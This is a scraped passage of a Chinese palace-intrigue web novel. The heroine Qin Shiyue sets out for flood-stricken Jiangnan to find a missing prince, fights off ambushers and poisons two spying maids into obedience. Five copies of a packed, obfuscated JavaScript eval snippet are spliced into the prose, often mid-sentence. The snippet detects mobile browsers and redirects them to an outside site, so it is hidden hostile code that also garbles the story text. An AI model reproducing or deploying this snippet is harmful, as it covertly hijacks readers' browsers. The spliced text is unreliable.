“该说的已经说了,能不能看住他,就看你自己的本事了,只是,下次他若还敢到我面前胡言乱语,我不会轻饶了他。”说完,秦时月不看她惨白的脸色,起身又离开了。 如今的秦可云对她已经没了威胁力,她只需笑看风云即可。 她现在要对付的,反而是那个藏在暗处,随时等着反扑的老夫人。 今日府上这样热闹,秦时月不相信她一点消息都没得到。 至于她为什么到现在都没出现,不用想也知道,秦可云的前程,她并不放在心上。 寿安堂。 老夫人捻动着上好的翡翠佛珠,眼皮都不抬一下,“秦可云是个糊涂的,抬走就抬走吧,只要不影响侯府,倒也没什么。” 嬷嬷皱皱眉,“可之后陆世子和大小姐去偏厅说话,咱们的人担心被发现,没敢跟进去…大小姐离开后又去了一趟西院,这会儿功夫才回揽月园。” 第62章 皇后娘娘也是立起来了 老夫人闻言顿了一下,这才掀起眼皮,“哦?去了西院?” 嬷嬷点头,眼里透着精明“是,老奴听说大小姐在西院待了一小会儿,只是具体做了什么,咱们的人没打听到。” 老夫人沉吟片刻,“想来是去敲打秦可云的,罢了,这件事不必放在心上。” “不过,看她最近的行径,她恐怕已经不是以前那个可以任由摆布的丫头了。”老夫人眼神阴鸷,“她今日能搅的侯府没有安宁的日子,明日就能对付我。” 嬷嬷眼神震颤,连忙道,“那老夫人,咱们该怎么办?” “怎么办?自然是在她羽翼未丰时,剪断她所有的羽翼。我倒要看看,这个丫头究竟有多大的本事!”老夫人冷哼一声,心里已经有了计较。 她不就仗凭着对皇后有救命之恩吗?若这救命之恩成了枷锁,她到要看看,一个小丫头片子能不能招架的住! 秦时月回到揽月园,还没坐下,小荷就急匆匆的跑了进来。 “小姐,不好了,江南那边传来消息了!” 如今秦时月和宋墨辰已经绑在了一起,所以她一直在留意宋墨辰的消息。 距他离开已经半个月,前世,差不多就是这个时候,京城传出了一些东西,所以她老早就让小荷留意着。 秦时月眉心一跳,语气不由自主的紧张起来,“怎么回事?” 小荷喘了口气,道,“奴婢按照您说的,每日都去人最多的酒楼,今日进去就看到大家都围在一起,正在谈论江南的事。” “说重点。”秦时月有些无奈。 “是。好像有人是从江南那块儿逃难进京的,据那人说,辰王与民共抗灾情时发生了意外,如今人失踪了,上边已经派出好多官兵去寻找辰王的下落了。” “什么?”秦时月震惊不已,脑袋一时间成了一团浆糊。 这和上一世的情况不同,上一世,京城流传辰王笼络人心,联系军中将领,有**的意图,皇帝虽无动作,但辰王赈灾回来后明升暗贬,直接被没收了虎符,成了一个有名无实的笼中兽。 可如今,京中盛传的,却是他下落不明,生死不知… 秦时月实在想不通是哪里出了问题。 “小姐?” 见秦时月面色凝重,小荷也不由的紧张起来。 辰王是小姐的夫婿,若他是普通人,出事也就罢了,可他是皇子,若是出事,不知会不会牵连到小姐的性命… “小荷,给我梳妆。”秦时月攥紧拳头,努力保持镇定。 她要入宫一趟。 京中流言太多,她拿捏不准。 她只知道,皇后娘娘必然有和宋墨辰通信,所以,她要去皇后娘娘那边探探口风。 小荷不敢多嘴,手脚麻利的为她装扮好,又挑了一套颜色素雅的宫装。 秦时月对着铜镜仔细检查了一遍,确定没有遗漏,又不太惹眼,这才带着小荷往宫里赶去。 路上,她一直在想,宋墨辰失踪,究竟是意外,还是有人暗中搞鬼? 若只是意外还好,凭他的本事,生还的可能性还大些。 可若是有人搞鬼,先不论那人的目的如何,只说宋墨辰后续肯定会面临追杀,那样一来就麻烦了… 一想到这些,秦时月就觉得心里发冷,不敢再想下去。 凤仪宫。 秦时月一进门,立刻察觉到殿内气氛不对,压抑的让人心慌。 她心头一跳,拳头攥的更紧。 “时月…”皇后在看到她的那一刻,终于忍不住,流露出了一丝伤感。 一看到她这副状态,秦时月还有什么不明白的?外界的传言,看来是真的。 抿抿嘴,她上前直接跪在了皇后脚边,抬眸,眼带深意的看着她,“娘娘要保重凤体,辰王吉人自有天相,定会平安归来的。如今最要紧的,是宫中的变动。” 皇后娘娘统领六宫,这个位子不是白坐的,她相信,皇后娘娘一定能听懂她的话外之音。 果然,皇后怔愣一下,当即沉着脸将秦时月虚扶起来。 她与陛下少年夫妻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566106|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也正因为这样,她太了解陛下的为人了。 表面父慈子孝,夫妻恩爱,实则,随着宋墨辰在军中威信的提高,陛下早已对他心生不满,他对宋墨辰,是有所忌惮的。 不,不仅仅这样,还有她母族势力的崛起,都成了让帝王不安的因素。 “你说的对,本宫只顾伤心,竟忽略了这样重要的事。来人!”皇后攥着拳,心生寒凉。 她为陛下生育一女两子。 虽然她贵为皇后,但一直遵循礼法,遵循立长不立嫡的古训,从不曾有过任何逾越之举,她的两个儿子也从来没有惦记过那个位置。 可如今看来,她的退让,他们的谦逊,或许都是一场天大的笑话! 绘春连忙上前。 “传本宫懿旨,近日宫中不太平,一切事宜皆由本宫亲自过问!若有胆敢趁此时机兴风作浪者,一律严惩不贷!” 皇后娘娘眼神冷冽。 若真的人为刀俎,她和孩子们为鱼肉,那她这个做皇后的,也该趁早打算起来了! 皇后浑身威压外泄,一众宫人当即跪倒一片,不敢抬头。 见皇后心里有数,秦时月再次跪下,“娘娘,辰王下落不明,臣女想…” 皇后皱皱眉,再次将她拉了起来,“好孩子,江南水患虽然得到了控制,但情况恐怕比你我想象的更复杂,这个时候,你还是留在京城的好。” 她只消一眼就猜到了秦时月的心思,虽然感动,但也担心。 这孩子为了救她,落了个体弱多病的毛病,此时去江南,着实不是一件轻松的事。 “娘娘,臣女有医术,身旁还有人照顾,再者,臣女在江南养病三年,那地界,臣女还算熟悉。您就允许臣女去吧。” 养病三年她整日被困在房中,哪里有机会出门看看外边的景象?她说这些,不过是想让皇后安心,毕竟江南,她是非去不可。 而之所以跟皇后表明心迹,不是为了在皇后面前留下好印象,她只是担心侯府中有人阻拦,比如,她的好祖母。 第63章 老虔婆出幺蛾子 皇后眼含热泪,最终点了头。 这孩子如此有情有意,是辰儿的福气。 “绘春,派五名暗卫贴身保护时月的安危,时月少一根头发,本宫拿他们试问!” “是,奴婢这就去。” 绘春心里的担忧不比皇后和秦时月少,但多事之秋,她必须要守好皇后。 秦时月没有多耽搁,带着小荷和五名暗卫尽快赶回了家中。 江南一行路途遥远,她多少要做些准备,以备不时之需。 就在秦时月将所需药材罗列好,将药方交到小荷手上时,老夫人身边的嬷嬷突然到了。 “小姐…” “你去按方买东西,其他的不用你管。”秦时月打发走小荷,收回目光,看向嬷嬷,“祖母找我何事?” “老奴不知。”嬷嬷眼底藏着嫌恶和得意。 按照老夫人交代的,秦时月也得意不了多久了,到时候,还不是得乖乖任由老夫人拿捏? “大小姐,请吧。”见她不为所动,嬷嬷不由的有些恼怒。 秦时月在心里冷笑一下,抬腿向外走去。 一出门,她便抬头看了眼骤然阴沉下来的天空,嘴角勾起一抹意味深长的笑意。 祖母啊祖母,希望你不是在自寻死路… 老夫人此时正跪在佛像前闭目祈福,嘴里念念有词,却听不清在念叨什么。 秦时月迈进门槛,看到的就是这样一幅场景,心里不由的冷笑。 看来,她的好祖母也知道自己作恶多端,所以想祈求佛祖保佑她,就是不知道佛祖能不能听到她的祈祷,真的降下恩旨! “祖母找我?”秦时月福了福身子,语气淡淡。 老夫人睁开眼,在嬷嬷的搀扶下起身,看向秦时月的眼神带着几分审视,“听闻你刚刚进宫了?” 秦时月并不意外老夫人会知道,若侯府里没有她的眼线,前世自己也不会在死后得知,这侯府中的一切,都逃不过这位“一心向佛,不理尘世”的老夫人的法眼。 “是。”她没有过多解释。 老夫人强压着怒气,但对于秦时月的态度气的要死,脸色有些扭曲,“皇后娘娘可说了什么?” “没什么,只说让孙女替她去一趟江南。” “去江南?”老夫人眉头一拧,不自觉的看向嬷嬷。 嬷嬷朝她点头示意,她这才想起早上嬷嬷带回来的消息。 她半眯着眼,里边写满了算计,“既是皇后娘娘的旨意,那你收拾收拾便出发吧。刘嬷嬷,你去咱们院子里挑两个能干的,一路上照顾大小姐。” 去江南?天助她也。 老夫人心里不由的暗想。 就秦时月这身子骨,这一趟就算要不了她的命,她也好过不了,最重要的是,这一行回来,京城的天就变了! 秦时月福了福身子,道,“孙女遵命。” 她心里清楚,老夫人必然是打了什么主意,但她并不在意。 江南一行,她势在必行。 至于老夫人派来的人,若是安分的,她倒是不介意让她们全须全尾的回来,可若是不安分的,那沿途、江南,便都可以成为她们的葬身地。 老夫人和嬷嬷见秦时月答应的如此爽快,心里不由的犯嘀咕。 尤其嬷嬷,面上不敢表露分毫,“老奴这就去准备。” 秦时月乖乖等着嬷嬷将两个看上去很是精明的丫头带过来,然后敷衍两句,转身带着人回了自己院子。 看到这一幕,嬷嬷忍不住皱了皱眉头。 这秦时月也太不像话了,整个府中还没人敢像她这般不尊老夫人的! 秦时月心里着急,所以除了那些必备的,简单让人收拾了些东西。 原想着第二日一早走,今天要早些休息,谁知她刚躺下,院里就来了不速之客。 “兄长这是做什么?”秦时月有些烦躁。 这人就不能挑个其他日子吗?本来她心里就烦。 “母亲又发病了,上次,上次你备的药还有吗?”秦怀瑾开门见山,语气急切。 秦时月这才反应过来。 算算日子,确实差不多到了发病的时候,不过,似乎比预期的要早上几日。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566107|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>想了想,或许是因为被剥夺侯府夫人头衔的缘故。 “说话!” “没有。”这里没有外人,秦时月斜斜倚在门框上,一副懒洋洋的样子,装都不装。 看到她这样,秦怀瑾想掐死她的心都有,偏偏有求于她,只能忍着。 “现在不是玩笑的时候,母亲刚刚发病误伤了自己,若是不服药,还不知道要将自己害成什么样!” “我说了,没有。”秦时月似笑非笑,懒懒看着他,“上次一事后,我已经将所有为母亲研制的药物销毁了,兄长还是去问问其他人吧。小荷,送客。” 说着,她转身要进屋,只是脚才抬起来,纤细的手腕就被人抓住了。 “秦时月!”秦怀瑾恼羞成怒,“母亲生育你一趟,你如今就是这样回报她的?” “放手。”秦时月眸光微沉。 “你将药拿出来,我这就放…” 秦怀瑾话没说完,就觉得手腕一麻,几乎是下意识的松开了手。 他不敢置信的看向秦时月的手,只见寒光一闪,是银针。他当即黑了脸。 秦时月淡然收起银针,心里却忍不住冷笑。 若不是想要慢慢玩死他们,她早就利用所学,一掌劈死这个畜生了! “我说了我没药。母亲情况紧急,兄长还是快些找大夫来看看,免得耽误了病情。还有,若是下次兄长再对我动手动脚,我这银针扎的,便不只是你的手腕了。” 秦时月声音凉薄没有感情,隐约还带着几分威胁。 秦怀瑾虽然不甘,但也只能作罢,毕竟他这些年不学无术,除了能偶尔卖弄一下学问,实在是没什么拿的出手的,尤其身手。 眼看秦怀瑾阴沉着一张脸离开,秦时月收回目光捂着红唇打了个哈欠,然后返回了屋里。 小荷有些担心,“小姐,大少爷不会因此记恨您吧?” “你看本小姐怕他吗?”秦时月笑笑,然后嘱咐道,“好了,时间不早了,你去休息吧,明早恐怕还有一场硬仗要打呢。” 说到这,她眼神微闪,里边竟有一丝兴奋。 第64章 出事 翌日,天刚蒙蒙亮,秦时月便起了身。 她简单用了些早膳便吩咐小荷、小青收拾行囊。 昨日她有些乏,没顾上看老夫人派来的两个丫头,今日才见她们。 两个丫头年纪不大,约莫十六七岁,一个叫春兰,一个叫夏竹,看上去眼珠子滴溜溜的转,很是有股机灵劲。 可惜啊。 秦时月知道,这两人是老夫人安插在她身边的眼线,想来不好收买。 不过她也不在意,毕竟想要拿捏人,并不只收买这一条路。 “小姐,一切都准备妥当了,随时可以启程。”小荷最后检查一遍东西,然后说道。 秦时月勾勾唇,亮晶晶的眸子转而看向院门。 这个时间,也差不多了… 她念头才起,门口就传来了一道呼喝,“你给本公子闪开!” 秦怀瑾一个眼神,却发现眼前的“家丁”不为所动。 他皱皱眉,这才发现家丁身上穿的并不是侯府的服侍,不由的冷下了脸。 “哪里来的狗东西,也敢挡本公子的路,要是耽搁了本公子的事,你担得起吗?”该死的,一个不知哪来的东西,也敢拦着他! “兄长别费劲了。”秦时月盈盈走来,嘴角带笑,“梁侍卫是皇后娘娘身边的近身侍卫,专门派来保护我的。” 梁侍卫身材魁梧,一身黑衣,表情庄严,光是站在那,就如门神般让人安心。 只是他并非皇后的侍卫,而是暗卫之一。 皇后指了五人,其余四人暗中保护,只有他,以侍卫的名义,随身保护。 皇后娘娘? 秦怀瑾心里一惊,脸色明显变了几变。 他知道皇后宠爱秦时月,却没想到皇后竟然连贴身侍卫都给了她,这… “兄长,母亲可好些了?”秦时月抬眸看着院门一角,随口问到。 她这个大哥呀,从来被人当枪使,没想到都弱冠之年了,还如此没头脑。 “我来找你就是为了此事,昨夜母亲闹了一夜,虽然有刘太医的汤药,但母亲的情况并没有好转,你今日若是拿不出药,就别想出府!” 秦怀瑾冷冷看着他,察觉到一道视线,不自在的咽了口唾沫。 “兄长这是在威胁我吗?可惜啊,我真的没有药,你便是将我扣在这里,也是无用。”秦时月轻轻一笑,眼神戏谑。 秦怀瑾没想到她会如此油盐不进,脸色当即难看的厉害。 但是想到那人,他只能攥攥拳咬紧牙关,正要再开口,梁侍卫上前一步,直接一堵山般挡在了两人之间。 他虽然没开口,但周身威压外放,让人心里发颤。 “兄长,若是没其他事便回去吧。至于母亲那边,你多多照看着些,若真有什么紧急情况,派人去江南寻我也就是了。”秦时月笑意盈盈,说出的话却要气**。 江南一来一回至少也要十天半月,真要有紧急情况,远水解不了近渴。 秦时月却不管他,转身看向小荷等人,故意说道,“看来今日也没人再找我了,准备一下,出发。” 墙角后的长乐侯脸色难看,狠狠捶了一下墙壁,怒气冲冲离开了。 废物!连秦时月都拿捏不住! 看来,侯府世子的位置,他得重新考虑了… 秦时月跟肖嬷嬷叮嘱一番,又将小荷留下跟她有个照应,这才带上小青,还有老夫人派来的两个丫鬟,以及皇后娘娘派给她的五名暗卫,淡定的离开侯府,踏上了前往江南的路程。 原本他们该走大路,只是秦时月担心宋墨辰,所以一路选的几乎都是小路。 刚开始的一切还算顺利,只是到了第三日,他们的车架突然被人截停… “小姐。” 小青虽然心里害怕,却还是第一时间将秦时月护到了身后。 秦时月岿然不动,嘴角却带着一丝漫不经心的浅笑。 截停车架的,也不知是熟人,还是山匪。 “小姐莫怕,有梁斌在,绝不会让小姐出事。” 梁斌负责赶车,看到拦路人,冷哼一声敲敲车架,凑到门框边沉声道。 “辛苦梁侍卫了。”秦时月声音沉稳,丝毫听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566108|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出惧意。 这倒让梁斌愣了愣。 这位秦大小姐似乎与寻常贵女不同,若是寻常人遇到此事,一定早吓的乱了方寸。 他这样想着,眼睛却直直盯着挡在路中间的几人。 “留下里边的女子,我们放你离开!” 来人一共五个,个个手持大刀,带着面巾,让人看不出样貌。 梁斌眼睛一眯,不发一语的跳下车,“想要里边的人,先要过了我这关才好!” 留下里边的女子? 秦时月眼神戏谑。 原来是熟人。 就是不知想要她命的,到底是谁派来的。是秦可云?秦怀瑾?还是…她的外祖父一家? 呵,真是越来越有趣了。 “小姐?” “没什么,只是想到了一些趣事。小青,你坐好即可,不必担心我。” 东方苑的徒弟,可不是个绣花枕头。 她若是连自保的能力都没有,也就不会选这些小路走了。 小青知道梁斌是皇后娘娘派的人,见秦时月这般放松,想着梁斌肯定武力不凡,这才松口气退了回去。 “就是不知春兰和夏竹姐姐怎么样了。” 她们是老夫人派来的,只配坐在后边的简陋马车上,此时出了这种事,她们两个女子,想来怕的不行。 秦时月可没那么多同情心,她抬手敲敲小青的额头,忍不住道,“你只需要关心好自己的事,旁人如何,跟你有什么关系?” 上一世,小青曾帮她说过话,虽然不像肖嬷嬷那样惨死,但也被打的丢了半条命,这一世她同样会护住小青,并且教会她,不是谁都值得同情! 车外,梁斌与五人缠斗在一起,虽然对方人多,但他并没有处于下风,相反,他招招迅猛狠厉,出手却又留了一丝余地。 秦时月撩开车帘一角看着这场打斗,嘴角勾起一抹笑意。 梁斌看来是和她想到了一处,想留下他们的命,好问出点东西… 先前她倒是小看了这个梁斌,不想身为暗卫,他的身手这般好。 第65章 出手,惊艳众人 不过,她可不想在这里浪费时间,毕竟宋墨辰那边还等着他们! “梁大。”她轻唤一声。 梁斌闻声,动作一顿,看向秦时月的眼神带着询问。 秦时月勾唇,红唇轻启,“速战速决。” 在外,她不能以“梁侍卫”相称,便只能给他改名梁大。 梁斌闻言眸光一凛,下手越发迅速,可下一秒,对方竟然朝着梁斌洒出一把粉末,梁斌不查,当场中招。 秦时月眉头微拧,眼神凝重了几分。 看来,他们还有后手。 这个念头才起来,马车后就传来了几声嘶鸣,秦时月的马车瞬间被围了起来。 隐藏在暗处的暗卫见状,互相交换个眼神,其中两人立刻提气准备现身。 他们的命令就是保护秦时月的安全,此时梁斌被缠住,他们再不现身,只怕秦小姐要出事。 可他们还没现身,就见秦时月一个翻身跃下了马车,稳稳落地。 那身手,看的暗处的几人心惊不已。 她淡然看着眼前骑在马背上的那些黑衣人,声音冷漠,“你们是谁派来的?目的是什么?” 黑衣人的领头显然没想到秦时月这样的病秧子有这样的身手,当即沉了脸。 “我们是这座山上的山匪,目的嘛…是你,还有你们的财务!” 这番话秦时月自然是不信的,她知道再问下去也问不出个所以然,干脆不再废话。 小青刚从震惊中回过神,掀开帘子看过来,就见一道粉色残影朝着黑衣人掠去,速度快到让人眼前一花。 秦时月出手不像梁斌那样狠辣,但招招毙命,显然她并不想与这些人纠缠,只是单纯的想**。 毕竟,他们看到了她的脸,见到了她的身手,那就留不得! 领头的黑衣人见状,怒喝一声,“一起上,抓住她!死活不论!” 该死的!他们竟然都被她给耍了! 黑衣人们听到命令,立刻朝着秦时月冲去。 可他们没料到秦时月会武功,所以来的人要么身手一般,要么就只有一身子蛮力,没什么本事可言。 一番打斗下来,秦时月竟是丝毫不落下风。 就在这时,梁斌服下了一颗解毒丹,从药粉的影响中恢复过来,几招下来将那五人打倒在地。 此时他才发现,那个平日里柔弱的像是风一吹就能倒的千金大小姐,此时竟和黑衣人打的难分难舍。 他顾不上震惊,连忙加入战局,与秦时月一同迎战那些黑衣人。 秦时月看到梁斌恢复,面色不变,攻势却越发凌厉,两人相互配合默契,很快便将那些黑衣人一一制服。 “小姐,你没事吧?”小青眼眶通红的从马车上跑下来,上下查看着。 秦时月摇摇头,嘴角勾起一抹笑意,“我没事,多亏了梁大。” 梁斌眼神深邃,却没有说什么,“秦大小姐,这些人该如何处置?” 秦时月嘴角一勾,掏出了一个瓷瓶,“里边是我亲手研制的,麻烦你洒到他们身上。” 众人心中一惊。 这番话,怎么听都不像好话。 秦时月却不再理会他们,扫了扫衣裙上的灰尘,似笑非笑的看了眼后头不断打摆子的马车,然后将手搭在小青的手腕上,抬脚走了过去。 她的秘密看来是藏不住了,既然藏不住,那有些事,就得提前了… “小,大小姐饶命!” 车帘被掀开,春兰,夏竹惨白着脸,砰砰磕头。 她们刚刚都看到了,秦时月…秦时月也太恐怖了! 秦时月歪着脑袋,笑的天真,“两位姐姐怎么这副表情?你们方才,可是看到了什么?” 春兰,夏竹眉头一跳,连忙摇头,“没有没有,我们什么都没看到…” 两人眼神心虚,根本不敢直视,生怕被看出什么。 秦时月掩唇轻笑,然后故作苦恼,“没看到呀?我原想着,两位姐姐可以替我告诉祖母,我并不如表面那样软糯可欺呢。” “大,大小姐真会开玩笑,奴婢,奴婢绝不会跟老夫人告状…”两人欲哭无泪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566109|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可是我并不放心呢。”秦时月像在逗弄宠儿,眉眼却带着寒意,“不如,两位姐姐辛苦些,将这药丸吃下去,也好叫我放心些。” 说着,她素手一翻,两颗圆滚滚、黑漆漆的药丸出现在手心。 她们是老夫人的人,手脚必定不干净,只是她们没有害过秦时月,所以秦时月还存了一分善念,并不打算现在就了解了她们。 若是她们弃暗投明,将来,她还会赐她们解药,只是现在,只有药物,才能让她们牢记住,谁才是那个可以左右她们性命的人。 两人看着秦时月手中的药丸,身体微微颤抖,脸色更加惨白。 她们知道,若是不吃,只怕今日难以善了。 可若是吃了,这不明不白的药丸会给她们带来什么后果?谁也说不准。 秦时月似乎看穿了她们的心思,微微一笑,“两位姐姐放心,这药丸只是让你们听话些,并不会要你们的命。只要你们乖乖听话,每隔七日,我都会给你们解药,必不会叫你们太痛苦。” 春兰和夏竹对视一眼,眼神绝望。 早知道,早知道如此,无聊嬷嬷用什么法子威逼利诱,她们也不会答应来这一遭。 可事已至此,她们已经没有选择的余地,只能硬着头皮将药丸吞下。 秦时月看到她们难受的呛出了泪花,满意的点点头,“两位姐姐只要忠心,我绝不会亏待你们,可别错打了主意,害了自己的性命。” 说完,在小青的搀扶下,她转身走向自己的马车。 此时,马车不远处的地面上,一大滩血水… 再次上路后,梁斌实在忍不住,还是问出了心中的疑惑,“大小姐,为何不审问一下他们的来处?” 秦时月闭目养神,眼皮都没抬,“没有必要,即便问了,他们也得死。” 见过她的身手,必然不能留他们性命。 梁斌不再询问,只是心里隐隐觉得有什么地方不对劲。 秦大小姐身手如此好,当初以身犯险救下皇后娘娘,难不成是出苦肉计? 第66章 秦时月头疼了 一想到有这种可能,梁斌就觉得头皮发麻,不知该不该将秦时月会武一事传信回去。 秦时月不是不知道自己动手一定会暴露这些,也不是不知道一旦暴露,必然会引起皇后娘娘的疑心。 可她在离家的时候就决定了,不到万不得已,决不能让隐藏在暗处的暗卫们暴露。 一来,他们算是自己此行的底牌,二来…他们是皇后娘娘的人,虽听命保护她,但忠心的并不是她,适当的亮一些底牌,也好叫他们知道,自己并非那种只会绣花的闺阁小姐。 至于皇后娘娘那边…等她找到宋墨辰回京后,再进宫跟皇后娘娘请罪吧。 梁斌迟迟听不到秦时月说话,心里虽然纠结的厉害,却也知道皇后娘娘待她怎样,也不敢再多问什么。 毕竟,他们几人的职责是保护秦大小姐的安全,其余的事,暂时不在他的考虑范围内。 小青今日见道了不一样的秦时月,此时她见秦时月神色疲惫,也不敢多言,只是默默地坐在角落,想着自己的心事。 她相信小姐不会害她,只是…刚刚的小姐就像换了一个人,让她很是不适应。 马车再次启程,一行人继续朝着江南的方向前进。 由于他们全程走小路,终于在第七日,他们来到了江南地界。 只是由于刚经历过洪灾,如今的江南一片狼藉,到处都是被洪水肆虐过的痕迹。两旁的房屋多有破损,曾经繁华的街道如今门厅罗雀、大门紧闭,路上偶尔还能看到淤泥,整座城,显得格外凄凉。 秦时月掀开帘子看着眼前的景象,眉头微微皱起。 她没想到洪灾竟然如此严重,难怪上一世宋墨辰会成为百姓口中的英雄,成为呼声最高的皇子,难怪,太子会容不下他… “小姐,我们接下来怎么办?”小青也看向马车外,忍不住问道。 “先找家客栈住下,然后再想办法找人。”秦时月放下车帘,道。 梁斌耳力极好,立刻招呼来一个随行的下人,让他去寻找客栈,自己则继续戒备。 他们虽然已经进城,但江南水患,到处都是无家可归的流民,越是这个时候,他越不能掉以轻心。 不多时下人回来,说是在前方不远处有一家客栈,虽然不大,但还算干净。 最重要的是,附近他都看过,那是唯一一家开着门迎客的。 梁斌在询问过秦时月的意思后,架着马车前往,后边的马车自动跟上。 到达客栈后,秦时月并未下车,而是让小青跟梁斌去办理入住,直到他们安排好,她才带着帷帽下车,任由小青扶着进了店。 春兰,夏竹一路上安分守己,此时更是紧随其后,不敢多说半个字,更不敢作妖。 “小姐小心台阶。”小青提醒。 秦时月顿了一下,头也没回。“辛苦两位姐姐找店家要些热水,我要沐浴。” 他们一直赶路,小路上偶尔能遇到个茶棚歇脚就不错了,大部分时候都是在路上歇脚,她已连续多日没沐浴过,这让她不由自主的想到了前世,浑身难受的厉害。 春兰,夏竹哪敢发表意见?当即领命去找店家了。 而小青在将秦时月扶进房后也退了出来,打算为自家小姐寻些吃食过来。 秦时月独自坐在窗前,水眸扫过下方的大街。 他们一路走来,她发现江南的灾情差不多已经控制住了,至少那些无家可归的百姓没有躁动、**。 单从这点来看,宋墨辰是成功的。 可如今宋墨辰下落不明,她必须尽快找到他。 只是,她没有一点线索,该从哪里找起,是个比较棘手的问题… 秦时月正思索间,房门被敲响,春兰,夏竹拎着一壶热水,气呼呼的嘟囔,“太过分了!” “两位姐姐,发生什么事了?”秦时月似笑非笑。 两人背后一寒,忙恭敬回话,“小姐切莫折煞了我们,您,您唤我们的名字就可。” 秦时月的手段她们见过,地上那摊血水,足足让她们梦魇了几次。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566110|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秦时月但笑不语。 “回小姐,是店家。”夏竹强忍着心里的惧意,垂首回话,“我们按您的吩咐去要热水,店家却说没有,还说我们故意找事,到最后,只给了我们一壶水,嘲讽我们爱要不要…” 说到这夏竹就觉得憋的慌。 她们入侯府多年,跟在老夫人身边虽然不如嬷嬷得老夫人的心,但也没受过这等气,若不是小青下楼,她们定不会就此作罢,一定会跟店家争执起来。 秦时月皱皱眉,“江南刚经历水患,想来用水困难。这些水应该够我擦洗一番,你们下去吧。” 是她忽略了。 这里不同京城,日后这样的苦日子,怕是还多着呢。 春兰,夏竹还想说什么,但她们实在害怕秦时月,还是放下水壶,乖乖的退了出去。 一出门,便看到了守在门口的梁斌。 秦时月端来木盆,将脚放入热水中,一股暖意袭来,让她紧绷了一路的神经得到了些许舒缓。 “梁大,你让人打听一下,这江南哪里有难民**地。” 梁斌背靠房门而立,皱皱眉,有些不解。 不过,想起他们此行的目的,他很快猜到了秦时月的用意。 想来,秦大小姐是觉得难民**地的消息多,在那能打听到王爷的下落。 一想到这,他立刻招来随行的下人,让他带上一个同伴去打听,并仔细叮嘱,让他们收敛些,莫要闹出不必要的麻烦。 小青返回来的时候秦时月已经擦洗好坐到了床边,此时正表情淡淡的翻看着一本游记。 小青将托盘放下,开口,“小姐,店里没什么好吃的,您先将就着吃些,一会儿我出去看看,给您买点点心蜜饯。” “不必了,有这些已经很好了。”秦时月抬眸看向餐桌,只见上边摆放着一碗清汤寡水的稀饭,还有两个菜饼子。 这些,确实很好,比上一世她被囚禁后吃过的那些,都好。 “小青,你们的饭呢?” 第68章 宋墨辰制造了失踪? 想到这种可能,秦时月当即将自己的发现说了出来。 “我刚刚打听到,除了王爷,侍书和他身边的另外几个侍卫也失踪了。所以我怀疑,他们的失踪或许是王爷故意为之的。” “您是说…” 梁斌只觉得脑子有点转不过来。 秦时月眸光潋滟,声音冷静,“王爷身边的侍卫,必然是他的心腹,这样,你还不明白吗?” “您是说,王爷自己制造了失踪的假象?” “恐怕是这样没错。” 秦时月坐在桌前,心里还有一些疑惑。 她不知道究竟发生了什么事,需要宋墨辰如此大费周章。 也想不明白,为什么如今发生的事,和前世完全不同。 “若真如您的猜测,这一切都是王爷自己谋划的,那咱们要怎么找到他们?” 梁斌没那么多心眼,他此行就是为了确定宋墨辰的安危,一时见不到宋墨辰,他便一时不能安心。 “若我所料没错…咱们什么都不用做,王爷他,自然会想办法联系咱们。现在,只需安心等待。” 秦时月眼神发亮,里边是梁斌看不透的城府。 